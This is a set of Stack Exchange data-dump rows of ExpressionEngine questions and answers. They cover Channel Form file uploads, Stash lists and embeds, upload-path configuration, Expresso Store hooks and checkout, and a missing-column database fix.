  <row Id="14687" PostTypeId="2" ParentId="14414" CreationDate="2013-10-17T21:01:25.533" Score="1" Body="&lt;p&gt;You can definitely add multiple modifiers to each product. The customer will have to select one option from each group before they can add the product to their cart. That will work fine for things like the base, and you can have yes/no options for each custom topping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to anticipate in advance what you need though, so it's probably best if you have a go at setting it up and let us know if and where you get stuck.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-17T21:01:25.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14689" PostTypeId="2" ParentId="7042" CreationDate="2013-10-17T21:42:22.920" Score="3" Body="&lt;p&gt;I think it's safe to say that testing at this level isn't very common in the EE community (given that no one has answered this question in the past 6 months).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would certainly be possible to set up Cucumber with EE, although I have not tried it myself on an EE site. You will need to address a few issues first, such as setting up multiple staging/test environments to run your tests on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try using something like &lt;a href=&quot;http://mink.behat.org/&quot; rel=&quot;nofollow&quot;&gt;Mink&lt;/a&gt;, which seems to be a similar acceptance testing framework built on PHP instead of Ruby (may be easier to set up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of running the tests (continuous integration), I would check out either &lt;a href=&quot;https://travis-ci.com/&quot; rel=&quot;nofollow&quot;&gt;Travis Pro&lt;/a&gt; or &lt;a href=&quot;https://circleci.com/&quot; rel=&quot;nofollow&quot;&gt;CircleCI&lt;/a&gt; if you don't feel like going through the hassle of setting up your own Jenkins server.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-17T21:42:22.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14690" PostTypeId="1" CreationDate="2013-10-17T22:43:17.743" Score="3" ViewCount="1368" Body="&lt;p&gt;I'm using Channel Form/Safecracker and a File field (photo of a person) doesn't work; the UI is messed up: Clicking the &quot;x&quot; only goes to the top of the screen and there's no &quot;Browse&quot; button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've dumbed it down to barebones channel/fieldgroup/html, and still it's not working (unix permissions are fine). So I'm out of ideas. Does anyone have working Channel Form File field code? Here's my base that won't work. Page at &lt;a href=&quot;http://farpoint.fcs.uga.edu/facs/site/test&quot; rel=&quot;nofollow&quot;&gt;http://farpoint.fcs.uga.edu/facs/site/test&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;{exp:channel:form&#xA;    channel=&quot;people1&quot;&#xA;    url_title=&quot;jphansen1&quot;&#xA;    logged_out_member_id=&quot;1&quot;&#xA;    return=&quot;site/test&quot;&#xA;}&#xA;&#xA;{field:photo1}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Next&quot; /&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="1327" LastEditDate="2013-10-18T00:07:55.130" LastActivityDate="2013-10-30T16:14:19.933" Title="Can I see the most basic example of a File field in Channel Form (Safecracker)?" Tags="|safecracker|file-uploads|channel-form|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14691" PostTypeId="2" ParentId="14678" CreationDate="2013-10-17T23:32:49.363" Score="1" Body="&lt;p&gt;You can use relative URL paths for you upload directories. Say you images are located at &lt;a href=&quot;http://example.com/assets/uploads/images/image.jpg&quot; rel=&quot;nofollow&quot;&gt;http://example.com/assets/uploads/images/image.jpg&lt;/a&gt; you can set your upload url to be relative by entering /assets/uploads/images/ for the uploaded destination url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if you are using something like FocusLab's Master Config file you can use the upload config overrides to set the URL dynamically based upon which protocol/url the user is accessing the site. In your config file you &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$protocol                     = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp;$_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';&#xA;$base_url                     = $protocol . $_SERVER['HTTP_HOST'];&#xA;$base_path                    = $_SERVER['DOCUMENT_ROOT'];&#xA;$system_folder                = APPPATH . '../';&#xA;$uploads_folder            = 'assets/uploads/';&#xA;&#xA;$env_config['upload_preferences'] = array(&#xA; 1 =&amp;gt; array(&#xA;     'name'        =&amp;gt; 'Main Uploads',&#xA;     'server_path' =&amp;gt; $base_path . '/' . $uploads_folder . 'images/',&#xA;     'url'         =&amp;gt; $base_url  . '/' . $uploads_folder . 'images/'&#xA; )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would need to repeat that for each upload directories that you have.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-17T23:32:49.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14692" PostTypeId="1" AcceptedAnswerId="14722" CreationDate="2013-10-18T00:55:11.847" Score="2" ViewCount="118" Body="&lt;p&gt;EE 2.7.2&#xA;Store 2.0.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't look like the hook (store_order_recalculate_end) is happening as advertised. Works fine when adding the first item to the cart. But upon cart update or adding more items, not happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a dead simple test in my extension. (via template logging)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;'hook' =&amp;gt; 'store_order_recalculate_end',&#xA;'method' =&amp;gt; 'barfoo',&#xA;...&#xA;&#xA;public function barfoo(){&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('Template', null, 'TMPL');&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;log_item(&quot;Hello World&quot;);&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What else can I be doing? Where should I be looking? This method definitely does not happen after the first item is added to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="631" LastActivityDate="2013-10-18T23:49:26.137" Title="What can I further do to test these Expresso Store hooks that appear to be not happening?" Tags="|expresso-store|hook|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14693" PostTypeId="2" ParentId="14682" CreationDate="2013-10-18T02:22:41.683" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It seems to me that the best way may be to simply use Categories for both Regions and types of events. That's not native to the Calendar module, but seem like it wouldn't take much to filter by a category url title.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is the direction I would go. Two category groups -- Region and Type -- with Areas being subcategories for the Regions. You'd want to make sure that you set Auto-Assign Parent Categories (Admin → Channel Administration → Global Preferences) to yes.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-18T02:22:41.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14694" PostTypeId="2" ParentId="14690" CreationDate="2013-10-18T03:16:36.310" Score="4" Body="&lt;p&gt;It appears to be stemming from an error in the JS preventing the global &lt;code&gt;EE&lt;/code&gt; object from being created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digging deeper I was able to identify the culprit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;name&quot;: &quot;Link in this site&quot;,&#xA;  &quot;key&quot;: &quot;&quot;,&#xA;  &quot;openWith&quot;: &quot;&amp;lt;a href=\&quot;http://farpoint.fcs.uga.edu/facs/template\\&quot; &gt; &quot;,&#xA;  &quot;closeWith&quot;: &quot; &amp;lt; \/a&gt;&quot;,&#xA;  &quot;className&quot;: &quot;btn_Linkinthissite&quot;&#xA;}&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the double backslash at the end of the url for &lt;code&gt;openWith&lt;/code&gt; which breaks the quote being escaped causing a syntax error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is associated to a custom button in the Rich Text Editor. There is a &lt;code&gt;Fixed link in this site&lt;/code&gt; button, so I am guessing you have noticed an issue with this before. Removing the broken button should solve the issue.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-18T03:16:36.310" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14695" PostTypeId="2" ParentId="6501" CreationDate="2013-10-18T03:46:08.677" Score="0" Body="&lt;p&gt;I use a custom &lt;code&gt;config.php&lt;/code&gt; and one of the things I set up in mine (which it looks like the one you are using hasn't) is upload destinations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// -------------------------------------&#xA;// Custom upload directory paths&#xA;// -------------------------------------&#xA;&#xA;$env_config['upload_preferences'] = array(&#xA;    1 =&gt; array(&#xA;        'name'        =&gt; 'Images',&#xA;        'server_path' =&gt; $base_path . 'uploads/images/',&#xA;        'url'         =&gt; $base_url  . 'uploads/images/'&#xA;    ),&#xA;    2 =&gt; array(&#xA;        'name'        =&gt; 'Videos',&#xA;        'server_path' =&gt; $base_path . '/uploads/videos',&#xA;        'url'         =&gt; $base_url  . '/uploads/videos/'&#xA;    )&#xA;    // ...&#xA;);&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The array keys relate to the ID of the upload destination, which must be created via the control panel otherwise this will have no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lr1U2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-18T03:46:08.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14696" PostTypeId="2" ParentId="14429" CreationDate="2013-10-18T04:39:12.767" Score="1" Body="&lt;p&gt;&lt;em&gt;There is a jquery script at the bottom of the page include&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this is the reason - you need to load your jquery library before other scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2195/safecracker-matrix-jquery-declaration-and-object-has-no-method-markitup&quot;&gt;this answer&lt;/a&gt; has good solution what you can do in this case&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-10-18T04:39:12.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14697" PostTypeId="1" AcceptedAnswerId="14737" CreationDate="2013-10-18T06:50:20.327" Score="0" ViewCount="301" Body="&lt;p&gt;This should be easy, but, I haven't been able to find an example anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display {example_matrix_a} and {example_matrix_b} (both of which contain columns with the same names) via a Stash embed. I've tried the following, but, the Matrix fields aren't parsing. What step am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;templates/default_site/example.group/layout_example.html:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;wrappers/_interior&quot;}&#xA;&#xA;{exp:channel:entries limit=&quot;1&quot;}&#xA;    {exp:stash:set name='title'}{title}{/exp:stash:set}&#xA;    {exp:stash:set name='maincontent'}&#xA;      {stash:embed:matrix_markup&#xA;        stash:matrix_field = &quot;{example_matrix_a}&quot;&#xA;        process=&quot;start&quot;&#xA;      }&#xA;      {stash:embed:matrix_markup&#xA;        stash:matrix_field = &quot;{example_matrix_b}&quot;&#xA;        process=&quot;start&quot;&#xA;      }&#xA;&#xA;  {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;stash_templates/matrix_markup.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:matrix_field} &#xA;   {matrix_col_1} - {matrix_col_2}&amp;lt;br&amp;gt;&#xA;{/stash:matrix_field} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-10-19T21:02:42.787" Title="How do you pass a Matrix or Playa field to a Stash Embed?" Tags="|matrix|stash|embeds|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14699" PostTypeId="1" AcceptedAnswerId="14702" CreationDate="2013-10-18T07:07:44.987" Score="1" ViewCount="816" Body="&lt;p&gt;I have a fairly fresh install of ExpressionEngine 2.7.2 and am having tons of problems with either Assets or Matrix upon saving an entry.  I'm receiving the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;Unknown column 'content_type' in 'where clause'&#xA;DELETE FROM `exp_assets_selections` WHERE `col_id` = '1' AND `row_id` = 10 AND `content_type` = 'matrix' AND `entry_id` = '4' AND `field_id` = '6'&#xA;Filename: third_party/assets/ft.assets.php&#xA;Line Number: 1232&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both add-ons were freshly installed (no upgrades) and we're using EngineHosting if that matters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great!&#xA;Brian&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2013-10-18T09:49:12.737" Title="Database Error &quot;Error Number: 1054&quot;" Tags="|matrix|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14700" PostTypeId="1" AcceptedAnswerId="14787" CreationDate="2013-10-18T09:15:53.287" Score="1" ViewCount="258" Body="&lt;p&gt;What I am trying to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am in an entry detail page.&lt;/li&gt;&#xA;&lt;li&gt;Entries have a playa field to create relationships w/ other entries&lt;/li&gt;&#xA;&lt;li&gt;First, I need the first 4 related entries, in the order specified by the user in the Playa field&lt;/li&gt;&#xA;&lt;li&gt;Then, I need to add the 4 most recent entries to that list&lt;/li&gt;&#xA;&lt;li&gt;Finally, I need to display the first 4 entries of that list (Playa entries + Recent entries) and filter out duplicates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;3 possible scenarios&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have no Playa entries &gt; display just the 4 most recent entries&lt;/li&gt;&#xA;&lt;li&gt;I have 4 Playa entries &gt; just display those&lt;/li&gt;&#xA;&lt;li&gt;I have a mix of Playa entries and Recent entries. In that case, Playa entries have to be displayed first in the order specified by the user&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is what I have tried so far&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- SET Entry data --}&#xA;{exp:channel:entries disable=&quot;member_data|pagination|trackbacks&quot; channel=&quot;articles&quot; status=&quot;not closed&quot; require_entry=&quot;yes&quot; limit=&quot;1&quot;}&#xA;&#xA;    {!-- Get first 4 related items in Playa field (combined with latest article and interviews if less than 4 --}&#xA;    {exp:stash:set_list name=&quot;st_complementary_items&quot; parse_tags=&quot;yes&quot;}&#xA;        {exp:playa:children channel=&quot;articles|interviews&quot; limit=&quot;4&quot;}&#xA;            {stash:st_complementaryitem_title}{title}{/stash:st_complementaryitem_title}&#xA;        {/exp:playa:children}&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{!-- Get last 4 published articles / interviews items (completes the list if less than 4 in the Playa field  --}&#xA;{exp:channel:entries disable=&quot;member_data|pagination|trackbacks&quot; channel=&quot;articles|interviews&quot; status=&quot;not closed&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot; limit=&quot;4&quot;}&#xA;&#xA;    {exp:stash:append_list name=&quot;st_complementary_items&quot;}&#xA;        {stash:st_complementaryitem_title}{title}{/stash:st_complementaryitem_title}&#xA;    {/exp:stash:append_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{!-- BUILD page content --}&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;&#xA;    &amp;lt;p&amp;gt;Total items in list: {exp:stash:list_count name=&quot;st_complementary_items&quot;}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Unique items in list: {exp:stash:list_count name=&quot;st_complementary_items&quot; unique=&quot;yes&quot;}&amp;lt;/p&amp;gt;&#xA;&#xA;    {!-- get the list of related items (Playa + latest if less than 4 playa), still have to make rows unique using the unique=yes parameter --}&#xA;    {exp:stash:get_list name=&quot;st_complementary_items&quot;}&#xA;        &amp;lt;p&amp;gt;[{count}/{total_results}] - {st_complementaryitem_title}&amp;lt;/p&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works decently well, unless I have no playa items. Then Stash acts as if I have 5 items in my list with a first one that's not parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total items in list: 5 / Unique items in list: 5&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[1/5] - {st_complementaryitem_title}&lt;/li&gt;&#xA;&lt;li&gt;[2/5] - Recent Entry title&lt;/li&gt;&#xA;&lt;li&gt;[3/5] - Recent Entry title&lt;/li&gt;&#xA;&lt;li&gt;[4/5] - Recent Entry title&lt;/li&gt;&#xA;&lt;li&gt;[5/5] - Recent Entry title&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am at loss as to why this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I completely remove the recent entries loop and just leave the Playa loop, things work as expected and I get 0 entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grateful if anyone can help me out with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: &lt;a href=&quot;https://twitter.com/croxton/status/391148610743586816&quot; rel=&quot;nofollow&quot;&gt;Mark &quot;The&quot; Croxton was quick again&lt;/a&gt;: Stash 2.4.4 has been updated to ignore empty list items&lt;/strong&gt; which apparently was the problem here.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-10-21T09:44:16.723" LastActivityDate="2013-10-21T09:44:16.723" Title="Stash: list of related entries completed by recent entries" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14701" PostTypeId="1" AcceptedAnswerId="14703" CreationDate="2013-10-18T09:32:52.677" Score="2" ViewCount="356" Body="&lt;p&gt;I've just upgraded from 2.6.1 to 2.7.2 of EE and when I log in I get this message at the bottom of the screen  below the EE copyright message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    You've gone idle, please enter your password to continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I enter my password I am logged out and when I log back in I see the same message at the bottom of the screen.&#xA;Yet I am logged in and can continue working.  Not a show-stopper but it is an indication that something has gone wrong.&#xA;Any ideas what is causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dorothy&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2013-10-28T09:58:05.200" Title="2.7.2 Idle message when logged into CP" Tags="|control-panel|login|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14702" PostTypeId="2" ParentId="14699" CreationDate="2013-10-18T09:49:12.737" Score="2" Body="&lt;p&gt;Ninjaroll,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;yeah, until we get Assets 2.2.2 out the door, which should happen any day now, there's an issue with fresh installs of Assets 2.2. If you run the following query, your issue should be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALTER TABLE exp_assets_selections ADD COLUMN &lt;code&gt;content_type&lt;/code&gt; VARCHAR(255) NULL AFTER &lt;code&gt;element_id&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-10-18T09:49:12.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14703" PostTypeId="2" ParentId="14701" CreationDate="2013-10-18T10:01:59.153" Score="4" Body="&lt;p&gt;Silly me, I hadn't copyied up my new version of the themes folder.  Hopefully this will be of help to someone else with a short-term memory!&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2013-10-18T10:01:59.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14704" PostTypeId="2" ParentId="14665" CreationDate="2013-10-18T11:09:44.470" Score="2" Body="&lt;p&gt;&lt;code&gt;uri_page=&quot;{last_segment}&quot;&lt;/code&gt; is not a valid parameter for channel entries. You're looking for &lt;code&gt;url_title&lt;/code&gt; I imagine :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;{last_segment}&quot;}&#xA;  {exp:stash:set_list name=&quot;related_articles&quot;}&#xA;    {related_articles}&#xA;      {stash:rel_title}{related_articles:title}{/stash:rel_title}&#xA;      {stash:rel_excerpt}{related_articles:excerpt}{/stash:rel_excerpt}&#xA;    {/related_articles}&#xA;  {/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- in the same template --}&#xA;{exp:stash:get_list name=&quot;related_articles&quot; process=&quot;end&quot;}&#xA;  {rel_title}&#xA;{/exp:stash:get_list}&#xA;&#xA;{!-- in an EE or Stash embed --}&#xA;{exp:stash:get_list name=&quot;related_articles&quot;}&#xA;  {rel_title}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Module tags in EE templates are parsed recursively from the outside in, like the layers of an onion, and that's why you need to use &lt;code&gt;process=&quot;end&quot;&lt;/code&gt; to access variables set inside a tag pair but accessed from the outer root layer of the template. See my slides here for a demonstration of what this means in practice:&#xA;&lt;a href=&quot;https://speakerdeck.com/croxton/stash-core-principles?slide=18&quot; rel=&quot;nofollow&quot;&gt;https://speakerdeck.com/croxton/stash-core-principles?slide=18&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-10-18T13:13:26.150" LastActivityDate="2013-10-18T13:13:26.150" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14705" PostTypeId="2" ParentId="14700" CreationDate="2013-10-18T11:56:50.413" Score="1" Body="&lt;p&gt;I think you are overcomplicating things with Stash. I'd use switchee with the variable {exp:playa:total_children}, I'd set up the cases as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;case value =&quot;0&quot; -&gt; display recent entries with exp:channel:entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;case value =&quot;1|2|3&quot; -&gt; display mix of entries&#xA;I'd use stash here to retrieve the ids of playa:children and the ids of the most recent entries which I'd then put inside a channel:entries with a limit of 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;case default (for when there are enough playa entries) -&gt; display playa entries only with exp:playa:children&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2013-10-18T11:56:50.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14706" PostTypeId="1" AcceptedAnswerId="14719" CreationDate="2013-10-18T12:07:15.517" Score="2" ViewCount="107" Body="&lt;p&gt;I have a new site coming online and looking at Store as it's worked well for me in the past. The client wants to have the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When clicking on Checkout, you log in, or guest checkout (with the option to create an account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would be using paypal website payments pro so the customer could pay by card on-site, or go off to paypal to pay via their paypal account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the Paypal flow work? Presumably if I login I get everything in my order history, but if I choose to create an account, and select Paypal as the checkout, what happens? Does store go off-site and then on return, create a new account, or does it create first and then go off-site? If it's the former, how does it handle the situation where an account already exists with the email address used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just need to make sure I'm completely clear on everything so I can advise the designers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="150" LastEditDate="2013-10-18T19:52:54.093" LastActivityDate="2013-10-18T19:52:54.093" Title="Expresso Store: When are member accounts created?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14707" PostTypeId="2" ParentId="14697" CreationDate="2013-10-18T12:40:18.053" Score="1" Body="&lt;p&gt;First, check this out: &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset_list%7D#capturing-and-caching-playa--matrix-tag-pairs&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset_list%7D#capturing-and-caching-playa--matrix-tag-pairs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, unless you're reusing the &lt;strong&gt;matrix_markup&lt;/strong&gt; Stash template, just keep it all together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;templates/default_site/example.group/layout_example.html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ...}&#xA;    {exp:stash:set_list name=&quot;matrix_a&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;        {example_matrix_a}&#xA;            {stash:item_title}{title}{/stash:item_title}&#xA;            {!-- new stash tags for your columns --}&#xA;        {/example_matrix_a}&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {exp:stash:set name=&quot;title&quot;}{title}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If, however, you are reusing the &lt;strong&gt;matrix_markup&lt;/strong&gt; template, then you can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;templates/default_site/example.group/layout_example.html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ...}&#xA;    {exp:stash:set_list name=&quot;matrix_a&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;        {stash:embed:partials:matrix_markup process=&quot;both&quot;} {!-- or process=&quot;end&quot; --}&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {exp:stash:set name=&quot;title&quot;}{title}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;stash_templates/partials/matrix_markup.html&lt;/strong&gt; &amp;larr; NOTE THE ADDITION OF THE 'PARTIALS' DIRECTORY&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{example_matrix_a}&#xA;  {stash:item_title}{title}{/stash:item_title}&#xA;  {!-- new stash tags for your columns --}&#xA;{/example_matrix_a}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Stash embed is assuming you have your config setup properly.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-18T12:40:18.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14708" PostTypeId="1" CreationDate="2013-10-18T13:15:21.727" Score="2" ViewCount="132" Body="&lt;p&gt;I'd like to make the custom text fields for the product modifiers in Exp:resso Store larger on the front end and user-expandable since they will need to type large amounts of text. Right now they are only one line high which makes it difficult to write a paragraph easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6Bky.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2189" LastEditorUserId="150" LastEditDate="2013-10-18T19:47:40.430" LastActivityDate="2013-10-18T19:47:40.430" Title="Expresso Store: Larger, expandable text fields for modifiers" Tags="|expresso-store|textarea|price-modifier|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
